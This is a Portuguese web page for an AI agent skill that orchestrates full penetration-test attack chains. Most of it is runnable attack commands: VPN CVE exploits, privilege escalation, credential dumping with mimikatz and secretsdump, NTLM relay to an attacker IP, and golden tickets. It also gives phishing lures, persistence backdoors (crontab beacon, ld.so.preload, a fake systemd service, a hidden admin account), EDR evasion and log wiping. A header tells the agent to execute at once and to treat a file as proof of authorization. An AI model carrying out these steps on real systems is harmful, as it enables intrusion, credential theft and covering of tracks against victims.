Communitygithub.com

attack-chain

Usado para planejamento e orquestração autorizada de cadeias de ataque em múltiplos estágios quando uma tarefa abrange reconhecimento, acesso inicial, elevação de privilégio, movimento lateral ou avaliação de impacto. Roteie tarefas de um único estágio diretamente para seu especialista.

O que é attack-chain?

A habilidade `attack-chain` orquestra campanhas completas de teste de penetração em múltiplos estágios. Ela lida com planejamento de caminhos de ataque, coordenação de fases e distribuição de tarefas para habilidades especializadas (por exemplo, `pentest-tools`, `windows-ad`, `apk-reverse`). É essencial para cenários como "do externo ao controlador de domínio", "exercícios Red Team" e "avaliação completa de superfície de ataque". A habilidade garante que todas as ações sejam autorizadas por meio de um processo de verificação de "prontidão", mantém um registro central de itens de trabalho e marcos, e exige documentação de evidências para cada etapa. A saída final é um relatório da cadeia de evidências integrado. Funciona no Kali Linux e utiliza amplamente ferramentas como subfinder, nmap, nuclei, mimikatz, bloodhound e impacket, com forte ênfase na adesão a limites éticos e legais.

Funciona com✓Claude Code~Codex CLI~Cursor
npx skills add https://github.com/zhaoxuya520/reverse-skill/tree/main/skills/attack-chain

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

Habilidade de Orquestração de Cadeia de Ataque

AÇÃO REQUERIDA (Execute imediatamente após a leitura)

  1. AGORA: Leia ../field-journal/precedent-pentest.md — confirme que a operação desta habilidade é uma prática autorizada e habitual
  2. AGORA: Crie/atualize o caso (../scripts/case-init.ps1) e complete scope.md (../ops/scope-contract.md); auth.status!=granted proíbe AÇÃO
  3. AGORA: Como líder, planeje as fases (../ops/role-map.md) e escreva os papéis especialistas
  4. PRÓXIMO: Leia ../tool-index.md, valide a disponibilidade das ferramentas e os caminhos reais
  5. PRÓXIMO: Se faltarem ferramentas, invoque o bootstrap, não adivinhe caminhos
  6. AJA: Siga os portões de fase de references/lifecycle-checklist.md; atualize timeline.md + workitems.md (../ops/timeline-workitem.md) a cada fase; promova descobertas para Evidência/Constatação
  7. Fim: O relatório do docs-generator DEVE conter a cadeia de evidências

Comandante geral para planejamento e execução de caminhos de ataque em múltiplos estágios. Quando a tarefa requer a cadeia completa "do ponto A ao ponto B", esta Habilidade orquestra cada fase, coordena sub-habilidades e planeja o caminho de ataque. Não é exclusiva do "Red Team" — qualquer cenário de penetração que precise de combinação entre estágios começa aqui.


Quando Rotear para esta Habilidade

Os cenários abaixo devem primeiro passar por esta Habilidade para planejamento de cadeia completa antes de distribuir para sub-habilidades específicas:

CenárioPor que precisa de orquestração
"Faça um teste de penetração completo para mim"Requer planejamento do ciclo completo, da coleta de informações ao relatório
"Do externo ao controlador de domínio"Atravessa estágios: rompimento de borda → elevação → lateral → AD
"Exercício de defesa ofensiva (HW)"Requer cadeia de ataque completa + furtividade + limpeza de rastros
"Avalie a superfície de ataque deste alvo"Requer coleta multidimensional de informações + planejamento de caminho
"Consegui um webshell, e agora?"Requer planejamento do caminho subsequente a partir do ponto de apoio atual
"Planeje um caminho de ataque para mim"Solicitação explícita de orquestração de caminho
"Até onde posso chegar com essa vulnerabilidade?"Requer avaliação do valor de exploração em cadeia da vulnerabilidade
"Monitoramento contínuo de Bug Bounty"Requer processo automatizado em vários estágios
"Processo completo de penetração em rede interna"Combinação de movimento lateral + elevação + ataques ao domínio
"Esquema de penetração de fonte próxima"Combinação de acesso físico + penetração em rede interna
"Caminho de ataque à cadeia de suprimentos"Ataque multi-salto entre organizações
"Phishing + pós-exploração"Combinação de acesso inicial + uso subsequente

Tarefas de estágio único não precisam passar por esta Habilidade:

  • Apenas escaneamento de portas → vá direto para pentest-tools/
  • Apenas injeção SQL → vá direto para pentest-tools/
  • Apenas engenharia reversa de APK → vá direto para apk-reverse/
  • Apenas penetração de domínio → vá direto para windows-ad/SKILL.md

Princípios de Orquestração

Papel desta Habilidade

Usuário propõe tarefa de múltiplos estágios
    ↓
attack-chain/SKILL.md (este arquivo)
    ↓ Planeja o caminho de ataque, determina a ordem das fases
    ↓ Avalia ferramentas e métodos necessários para cada fase
    ↓
Distribui para sub-habilidades específicas para execução:
    ├── pentest-tools/     → Chamada de ferramentas, exploração de vulnerabilidades
    ├── apk-reverse/       → Penetração móvel
    ├── js-reverse/        → Rompimento de front-end Web
    ├── reverse-engineering/ → Análise binária
    ├── ida-reverse/       → Engenharia reversa profunda
    └── browser-automation/ → Automação de operações
    ↓
Após cada fase, retorna a esta Habilidade para avaliar o próximo passo
    ↓
Completo → docs-generator cria relatório

Árvore de Decisão de Planejamento de Caminho

Após obter o alvo:
1. Qual é o alvo? (Web/Rede interna/Nuvem/Móvel/IoT)
2. O que temos atualmente? (Perspectiva externa/Credenciais existentes/Ponto de apoio existente)
3. Qual é o objetivo final? (Controlador de domínio/Dados/Sistema específico/Prova de impacto)
4. Restrições? (Tempo/Furtividade/Sistemas intocáveis)
    ↓
Com base nas informações acima, planeje o caminho mais curto
    ↓
Se um caminho não funcionar → retorne a esta Habilidade para replanejar um caminho alternativo

Fases da Cadeia de Ataque Completa


Fase Um: Reconhecimento

1.1 Mapeamento de Ativos Digitais da Empresa

# Descoberta de domínios de subsidiárias
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt

# Mesclar e deduplicar
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt

# Sondagem de hosts ativos
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt

# Escaneamento de portas (todas as portas)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results

Pontos práticos:

  • Use Qichacha/Tianyancha para obter lista de subsidiárias, expandindo a superfície de ataque
  • Foque em ambientes de teste (test., dev., staging.) e sistemas recém-implantados
  • Logs de transparência de certificados (crt.sh) revelam domínios ocultos

1.2 Caça a Vazamento de Informações Sensíveis

# Pesquisa no GitHub
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password

# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini

# Chaves de API em arquivos JS
cat js_urls.txt | while read url; do
  curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done

Alvos de alto valor:

  • AK/SK de serviços em nuvem (Alibaba Cloud, AWS, Azure)
  • Strings de conexão de banco de dados
  • Chaves JWT
  • Documentação interna de API
  • Credenciais de VPN/Bastion Host

1.3 Perfil de Funcionário

Regras de geração de dicionário para engenharia social:

{PrimeiroNomeSobrenome}{ano}       → zhangsan2024
{Iniciais do nome}{abreviatura do departamento}  → zs_dev
{ID do funcionário}@{domínio}      → [email protected]
{Nome}{sufixo comum}       → zhangsan@123, zhangsan!@#

Fontes de informação:

  • Estrutura departamental no LinkedIn/Maigou
  • Contas corporativas de WeChat/apresentação de equipe no site
  • Informações de recrutamento (exposição da pilha de tecnologia)
  • Artigos acadêmicos (exposição de e-mail)

1.4 Identificação de Impressão Digital da Pilha de Tecnologia

# Impressão digital Web
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json

# Detecção de framework específico
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt

# Identificação de CMS
wpscan --url https://target.com --enumerate p,t,u

Fase Dois: Acesso Inicial

2.1 Exploração de Vulnerabilidades Web (Pontos de Ruptura de Alta Frequência)

Tipo de VulnerabilidadeFerramenta de DetecçãoMétodo de Exploração
Injeção SQLsqlmapExtração de dados → Escrita de shell → Comandos do SO
SSTIsstimapInjeção de template → RCE
Upload de arquivoManual + BurpWebshell → Reverse shell
Desserializaçãoysoserial/marshalsecRCE Java/PHP/Python
SSRFManualSondagem de rede interna → Metadados de nuvem → AK/SK
Acesso não autorizadonucleiSpring Actuator / Nacos / Redis
XSS → CookiexsstrikeSequestro de sessão de administrador
# Automação de injeção SQL
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent

# Detecção de SSTI
sstimap -u "https://target.com/search?q=test"

# Escaneamento em lote com Nuclei
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt

2.2 Ataque à Cadeia de Suprimentos

Caminhos de ataque:

  1. Identifique componentes de terceiros/prestadores de serviços usados pelo alvo
  2. Ataque o fornecedor para obter permissão de assinatura de código/envio de atualização
  3. Distribua payload malicioso através de canais legítimos de atualização

Entradas comuns:

  • Envenenamento de componentes de código aberto (npm/pip/maven)
  • Abuso de API de provedor SaaS
  • Uso de permissões de funcionários terceirizados
  • Penetração lateral em provedor de TI compartilhado

2.3 Ataque de Phishing

Phishing por e-mail:

Modelos de assunto:
- [Urgente] Certificado VPN prestes a expirar, atualize imediatamente
- [Aviso de TI] Espaço de armazenamento de e-mail insuficiente, favor limpar
- [RH] Resultados da Avaliação de Desempenho 2024
- [Financeiro] Sistema de reembolso atualizado, favor fazer login para confirmar

Tipos de carga:

  • Documentos com macro do Office (.docm/.xlsm)
  • Atalhos LNK (disfarçados de PDF)
  • Contrabando de HTML (HTML Smuggling)
  • Imagens ISO/IMG (contornando MOTW)
  • Scripts incorporados no OneNote

Phishing OAuth (Nova tendência 2025):

  • Construa aplicativo OAuth malicioso solicitando permissões
  • Após autorização do usuário, obtenha acesso a e-mail/arquivos
  • Sem necessidade de senha, contorna MFA

2.4 Penetração de Fonte Próxima (Acesso Físico)

TécnicaFerramentaEfeito
BadUSBRubber Ducky / WiFi DuckyInjeção de teclado → Reverse shell
Carregador maliciosoCabo O.MGBackdoor disfarçado de cabo de dados
Phishing WiFiFluxion / WiFi PineapplePonto de acesso falso → Captura de credenciais
Clonagem RFIDProxmark3Cópia de cartão de acesso → Entrada física
Implante de redeRaspberry Pi / LAN TurtlePonto de acesso persistente à rede interna
# Phishing WiFi com Fluxion
fluxion  # Seleção interativa do AP alvo → Cria ponto de acesso falso → Captura senha WPA

# BadUSB combinado com Cobalt Strike
# Injetar downloader do PowerShell via USB → Conectar ao C2

2.5 Acesso Remoto/VPN

# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"

# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"

# Geral: Password Spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post

2.6 Rompimento de Serviços em Nuvem

# Enumeração de bucket AWS S3
aws s3 ls s3://target-bucket --no-sign-request

# SSRF em metadados de nuvem
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Password Spraying no Azure AD
# Use ferramentas MSOLSpray / Spray

Fase Três: Elevação de Privilégio

3.1 Elevação no Windows

TécnicaCondiçãoFerramenta
Série PotatoPermissão SeImpersonateSweetPotato / GodPotato / PrintSpoofer
Vulnerabilidade de kernelNão corrigidodetecção watson / wesng
Sequestro de caminho de serviçoCaminho de serviço sem aspasPowerUp
Sequestro de DLLCaminho de busca de DLL gravávelProcess Monitor
AlwaysInstallElevatedConfiguração de registromsiexec instala MSI malicioso
Tarefa agendadaScript de tarefa gravávelSubstituição com schtasks
# Detectar SeImpersonate
whoami /priv | findstr "SeImpersonate"

# Elevação com Potato
.\GodPotato.exe -cmd "cmd /c whoami"

# Detecção automatizada
.\winPEAS.exe

3.2 Elevação no Linux

# Detecção de SUID
find / -perm -4000 -type f 2>/dev/null

# Abuso de sudo
sudo -l
# Comuns: vim, find, python, nmap, less, awk, perl

# Elevação com sudo vim
sudo vim -c ':!/bin/bash'

# Elevação com sudo find
sudo find / -exec /bin/bash \;

# Vulnerabilidade de kernel
uname -r  # Verificar versão
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)

# Detecção automatizada
./linpeas.sh

3.3 Elevação via Banco de Dados

-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Elevação via UDF no MySQL
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');

-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';

3.4 Elevação em Nuvem

# Enumeração de IAM na AWS
aws iam list-attached-user-policies --user-name compromised-user
# Procure por iam:PassRole + lambda:CreateFunction → Permissões de administrador

# Azure AD
# Administrador global → Controle de todas as assinaturas
# Administrador de aplicativos → Adicionar credenciais a entidade de serviço

Fase Quatro: Movimento Lateral

4.1 Obtenção de Credenciais

# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt

# Credenciais Linux
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;

# Extração de Hash NTLM
secretsdump.py domain/user:password@dc_ip

4.2 Pass-the-Hash / Pass-the-Ticket

# PTH lateral
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec

# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password

# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt

4.3 Técnicas Furtivas de Movimento Lateral

# Execução sem arquivo com WMI
wmiexec.py domain/admin:password@target_ip "whoami"

# Execução remota com DCOM
dcomexec.py domain/admin:password@target_ip "whoami"

# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>

# PsExec (deixa rastros)
psexec.py domain/admin:password@target_ip

# Túnel SSH (ambiente Linux)
ssh -D 1080 user@pivot_host  # Proxy SOCKS
ssh -L 3389:internal_host:3389 user@pivot_host  # Encaminhamento de porta

4.4 NTLM Relay

# Desligar SMB/HTTP do Responder
# Editar Responder.conf: SMB = Off, HTTP = Off

# Iniciar captura com Responder
responder -I eth0

# NTLM Relay para o alvo
ntlmrelayx.py -tf targets.txt -smb2support

# Autenticação forçada com Coercer
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip

4.5 Caminhos de Ataque no AD

# Coleta de dados com BloodHound
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip

# Caminhos de ataque comuns:
# 1. Usuário → GenericAll → Usuário alvo → Redefinir senha
# 2. Usuário → WriteDacl → OU alvo → Adicionar permissão
# 3. Computador → Delegação restrita → Personificar qualquer usuário
# 4. Usuário → Permissão DCSync → Exportar todos os hashes

# Ataque a AD CS com Certipy
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate

Fase Cinco: Persistência

5.1 Persistência no Windows

TécnicaFurtividadeDificuldade de Detecção
Tarefa agendadaMédiaBaixa
Chave Run do registroBaixaBaixa
Assinatura de evento WMIAltaAlta
Sequestro de DLLAltaMédia
Conta invisívelMédiaMédia
Golden TicketMuito AltaMuito Alta
Backdoor DSRMMuito AltaMuito Alta
# Assinatura de evento WMI (alta furtividade)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
    Name = "CoreFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Conta invisível
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modificar valor F do registro para clonar RID

5.2 Persistência no Linux

# Implantação de chave SSH
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

# Backdoor via Crontab
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -

# Sequestro com LD_PRELOAD
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload

# Backdoor PAM
# Modificar pam_unix.so para adicionar senha universal

# Serviço Systemd
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

5.3 Persistência em Nuvem

# Backdoor AWS Lambda
# Criar função Lambda acionada por tempo, reconectando ao C2

# Registro de aplicativo Azure AD
# Criar aplicativo → Adicionar credencial de chave → Conceder permissões Graph API

# Backdoor em contêiner
# Modificar imagem base → Todos os novos contêineres terão backdoor

Fase Seis: Evasão de EDR/AV

6.1 Ideias Centrais de Evasão

NívelTécnicaDescrição
Detecção estáticaCriptografia/ofuscação/carregador personalizadoEvitar correspondência de assinatura
Detecção comportamentalChamada de sistema indireta/UnhookingContornar hook de API
Detecção de memóriaPisoteamento de módulo/criptografia de heapEvitar varredura de memória
Detecção de redeFronting de domínio/túnel em serviço legítimoMisturar-se ao tráfego normal
Detecção de logPatching de ETW/limpeza de logReduzir rastros

6.2 Técnicas Práticas de Evasão

1. Carregador de shellcode personalizado (não usar ferramentas públicas)
2. Chamada direta de sistema (contornar hook ntdll)
3. Injeção de processo em processo de baixo monitoramento (ex.: RuntimeBroker.exe)
4. Tráfego C2 via HTTPS + Fronting de domínio / Cloudflare Workers
5. Execução em memória, sem gravação em disco (Fileless)
6. Carregamento via programas com assinatura legítima (LOLBins)

6.3 Seleção de Framework C2

FrameworkCaracterísticasCenário de Uso
Cobalt StrikeMaduro, estável, colaboração em equipeGrandes operações Red Team
SliverCódigo aberto, escrito em GoOrçamento limitado
HavocModerno, modularNecessidade de customização
MythicSuporte a múltiplos agentesMultiplataforma
AdaptixC2Incluso no Kali 2026.1Implantação rápida

Fase Sete: Limpeza de Rastros (Anti-Forense)

# Limpeza de logs do Windows
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Limpeza de logs do Linux
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w

# Modificação de timestamp
touch -t 202301010000 /path/to/file

# Limpeza de memória
# Garanta que o dump do Mimikatz foi excluído
# Garanta que o beacon C2 foi encerrado
# Garanta que os arquivos temporários foram limpos

Regras de Ouro do Red Team

Três Limites Intransponíveis

  1. Todas as operações devem ter autorização por escrito
  2. Dados extraídos devem ser anonimizados
  3. Limpe todos os rastros de ataque (incluindo residência em memória)

Disciplina Operacional

  • Avalie o nível de risco antes de cada operação (Baixo/Médio/Alto/Grave)
  • Notifique o gerente de projeto antes de operações de alto risco
  • Mantenha um registro de operações (hora, ação, resultado)
  • Reporte vulnerabilidades críticas imediatamente, não explore mais
  • Não afete a disponibilidade do serviço (proibido DoS)
  • Não acesse/baixe dados reais de usuários

Casos Típicos de Falha

Causa da FalhaConsequênciaLição
Não limpeza do dump de memória do MimikatzBlue Team rastreia o caminho completo do ataqueLimpe imediatamente após a operação
Domínio C2 marcado por inteligência de ameaçasBloqueado na primeira conexãoUse domínio recém-registrado + Fronting de domínio
E-mail de phishing dispara alerta DLPBlue Team alertado previamenteTeste as regras do gateway de e-mail
Movimento lateral toca honeypotIntenção do ataque expostaIdentifique honeypots antes de agir

Tabela de Referência Rápida de Ferramentas

Coleta de Informações

subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan

Exploração de Vulnerabilidades

nuclei sqlmap sstimap xsstrike burpsuite metasploit

Elevação de Privilégio

winPEAS linpeas GodPotato PrintSpoofer watson

Movimento Lateral

mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm

Frameworks C2

cobalt-strike sliver havoc mythic adaptixc2

Penetração de Fonte Próxima

fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple


Relação com Outras Habilidades do Pacote

NecessidadeRoteie para
Exploração profunda de vulnerabilidade Webpentest-tools/SKILL.md
Etapas detalhadas de ataque AD em rede internawindows-ad/SKILL.md
Análise reversa de amostra maliciosareverse-engineering/SKILL.md
Reversão de APK (penetração móvel)apk-reverse/SKILL.md
Contorno de assinatura front-end JSjs-reverse/SKILL.md
Penetração automatizada em grupoPentest Swarm AI (pentestswarm scan --swarm)
Penetração assistida por IAmcp-kali-server / metasploitmcp / hexstrike-ai
Geração de relatóriodocs-generator/SKILL.md
Diagrama de caminho de ataquediagram-generator/SKILL.md

Autoverificação de Conclusão (DEVE passar antes de declarar concluído)

  • Executei cada etapa do fluxo de trabalho (em vez de apenas ler)?
  • Usei caminhos reais de ferramentas com base em tool-index?
  • Produzi evidências reproduzíveis (comandos/scripts/capturas de tela/relatórios)?
  • Concluí e escrevi de volta os itens da Checklist exigidos pelas REGRAS?

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication, authorization, rate-limit, and CI/CD testing.

apk-reverse

在 CLI 环境下做 Android APK 逆向时使用。适用于 APK 解包、Java 反编译、smali 修改、重打包、Frida 动态 Hook,以及按需切换到 so/native 分析。优先使用本机已安装的 jadx、apktool、frida、adb、ida-reverse、radare2。

binary-diff

|

binary-ninja-reverse

Use for authorized binary analysis in Binary Ninja, including HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patch review, Python API automation, and optional Binary Ninja MCP or localhost HTTP integration.

browser-automation

|

browser-extension-reverse

Use for authorized reverse engineering of browser extensions (Chrome/Firefox) including manifest analysis, background workers, and extension-based credential or traffic logic recovery.

case-review

Reviews a reverse-skill case package for scope readiness, Evidence to Finding to Path traceability, work item coverage, timeline references, and optional artifact hash integrity before report handoff.

cloud-k8s

Use for authorized cloud, container, and Kubernetes security assessment including metadata SSRF, IAM misconfig, container escape paths, and cluster RBAC review.

code-audit

Use for authorized source-code security review and SAST workflows including Semgrep, CodeQL patterns, dangerous API hunting, and fix verification.

ctf-sandbox

Thin PRIMARY for CTF / AWD / 靶场 multi-type orchestration. Hands off to the sidecar CTF-Sandbox-Orchestrator. Use when the user says CTF, AWD, 靶场, or 比赛题 and no more specific pwn/APK/IDA route already won.

database-security

Use for authorized database security assessment covering PostgreSQL/MySQL/MSSQL/Mongo/Redis exposure, authz, UDF/command paths, and misconfiguration review.

diagram-generator

generate, refine, validate, and render diagrams from natural language, notes, code snippets, schemas, tables, or existing diagram source. use for flowcharts, swimlanes, sequence diagrams, state diagrams, er diagrams, class diagrams, architecture/c4-style diagrams, dependency graphs, gantt charts, mind maps, user journeys, sankey-style flows, org charts, network graphs, and other visual models. supports mermaid by default, graphviz dot for complex graph layout, plantuml for uml-heavy engineering diagrams, and svg output when direct markup is more reliable.

digital-forensics

Use for authorized digital forensics including memory dumps, disk timelines, PCAP investigation, artifact triage, and IR evidence preservation.

docs-generator

|

dotnet-reverse

.NET / C# 二进制逆向。当目标是 .NET assembly(PE 头含 CLR、.exe/.dll 托管程序)、C# 编译产物(含 NativeAOT)、红队 Sharp* 工具(Rubeus / SharpHound / SharpHound 等)、.NET 混淆程序(ConfuserEx / SmartAssembly / Babel / Eazfuscator)、.NET loader / info-stealer / 套壳 malware 时使用。优先用 dnSpyEx + de4dot,需要 AI 直接操作时联动 dnSpy MCP。不用于纯 native 二进制(走 reverse-engineering / ida-reverse)。

edr-bypass-re

|

email-security

Use for authorized email security review including phishing analysis, header authentication (SPF/DKIM/DMARC), BEC patterns, and mailbox token abuse research.

firmware-pentest

|

ghidra-reverse

Use for free/open reverse engineering with Ghidra (headless or GUI), including decompile, cross-refs, and optional Ghidra MCP workflows when IDA is unavailable.

go-rust-reverse

Use for reverse engineering stripped Go and Rust binaries including runtime recognition, pclntab/moduel data recovery, panic strings, and idiomatic decompilation recovery.

Habilidades Relacionadas